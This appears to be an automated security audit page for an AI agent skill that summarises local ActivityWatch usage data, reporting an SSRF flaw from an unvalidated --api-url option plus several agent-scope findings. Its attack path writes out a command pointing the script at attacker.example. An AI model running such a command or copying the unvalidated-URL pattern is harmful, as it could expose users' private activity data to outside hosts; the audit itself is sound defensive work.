Back to skill

Security audit

Computer Usage Summary

Security checks for vulnerabilities and agentic risk

Overview

This local usage-reporting skill is not malicious, but it needs review because its helper accepts an unrestricted API URL while handling sensitive activity data.

Before installing, be comfortable granting an agent access to local ActivityWatch activity records, including app names and sanitized window titles. Keep the API URL on `127.0.0.1` or another verified loopback-only ActivityWatch endpoint, do not use remote `--api-url` values, and only save exports or use billable/project rules when you explicitly requested them.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/activitywatch_summary.py:26
Finding

Unrestricted ActivityWatch API URL Permits Arbitrary HTTP Requests

Content
View full analysis

Vulnerability Details

File Location: scripts/activitywatch_summary.py:26-28, 350, 363
Vulnerability Type: Server-Side Request Forgery (SSRF) / unrestricted outbound HTTP destination
Risk Level: Medium

Vulnerable Code

python
def get_json(path, api=DEFAULT_API):
    with urllib.request.urlopen(f"{api}{path}", timeout=5) as response:
        return json.load(response)
python
parser.add_argument(
    "--api-url",
    default=DEFAULT_API,
    help="Local ActivityWatch API URL; defaults to http://127.0.0.1:5600/api/0",
)
python
fetch = lambda path: get_json(path, args.api_url)

Technical Analysis

The command-line option --api-url is described as a local ActivityWatch API URL, but its value is not validated before being passed to urllib.request.urlopen. An invocation can therefore select an arbitrary HTTP or HTTPS host rather than the intended loopback service.

The documentation instructs the agent to keep this option on loopback, but documentation is not an enforceable security boundary. Moreover, urlopen follows redirects by default, so a permitted-looking initial endpoint could redirect requests to a remote host unless each redirect destination is independently checked.

The script first requests /buckets/. It then trusts the returned bucket metadata, selects bucket identifiers with the expected types, URL-encodes those identifiers, and requests their event endpoints. This gives a malicious endpoint multiple opportunities to observe requests and provide forged activity records.

Attack Path

  1. An attacker influences the script invocation or configuration so it includes an arbitrary endpoint, for example:
    bash
    python scripts/activitywatch_summary.py \
      --date today \
      --api-url http://attacker.example/api/0
    
  2. The script requests:
    text
    http://attacker.example/api/0/buckets/
    
  3. The attacker returns JSON containing attacker-selected bucket IDs identified as `curren ...[truncated 1303 chars]
Remediation
View remediation

Remediation Suggestions

  1. Parse --api-url with urllib.parse.urlsplit before making any request.
  2. Permit only the intended scheme and loopback destinations:
    • Require http.
    • Allow only literal loopback addresses such as 127.0.0.1 and ::1.
    • If localhost is accepted, resolve it and verify that every resulting address is loopback.
  3. Reject embedded credentials, fragments, malformed ports, and unexpected URL components.
  4. Restrict the port to the configured local ActivityWatch port, normally 5600, unless a narrowly scoped local override is explicitly required.
  5. Normalize the base path and construct request URLs safely rather than concatenating untrusted strings.
  6. Disable automatic redirects or implement a redirect handler that validates every redirect destination against the same loopback policy.
  7. Consider removing --api-url entirely if non-default endpoints are unnecessary.
  8. Add tests confirming rejection of:
    • Public and private non-loopback addresses
    • IPv6 non-loopback addresses
    • Hostname and user-information parsing tricks
    • Alternate schemes such as file
    • Redirects from loopback to non-loopback hosts
Vulnerability Patterns
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (5)

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The description promises privacy-preserving fallback behavior and a bounded summary function, but the instructions also introduce additional billable/client attribution via rules and reports that materially expand processing of sensitive activity data. Description-behavior mismatches undermine informed consent and security review, because users may authorize a simple usage summary while the skill also supports richer profiling and categorization of work activity.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
94% confidence
Finding

The skill clearly instructs use of local files, possible saved exports, and access to a local HTTP API on 127.0.0.1, but it does not declare an explicit tool scope or permissions boundary. That creates a governance gap where an agent may use broader file or network capabilities than reviewers or users expect, increasing the risk of unintended local data access or writes.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SKILL.md (reported line 70)May include surrounding context.

md
title is `confirmed` only when it directly supports the described activity.
5. When the user needs project/client or billable reporting, offer an optional
   local JSON `--rules` file. Match only sanitized titles. Explain that the
   first matching rule wins and never create or upload rules without consent.
6. For spreadsheet output, run one table per command:
   - `--format markdown --table apps` for chat.
   - `--format tsv --table apps` to copy directly into spreadsheet software.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
78% confidence
Finding

The markdown explicitly recognizes reduced-format requests via several Chinese trigger phrases while not offering an equivalent language-choice mechanism or stating that multilingual handling is optional. This creates a locale/language-specific policy behavior embedded in the instructions rather than letting the user choose language handling explicitly.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The default prompt uses a natural-language invocation description rather than a clearly bounded trigger specification, and phrases like "create a private weekly local activity review" could overlap with ordinary user requests about activity summaries. The manifest does not provide explicit scope limits, exclusions, or negative examples to clarify when this skill should or should not activate.

Content

No source excerpt is available for this finding.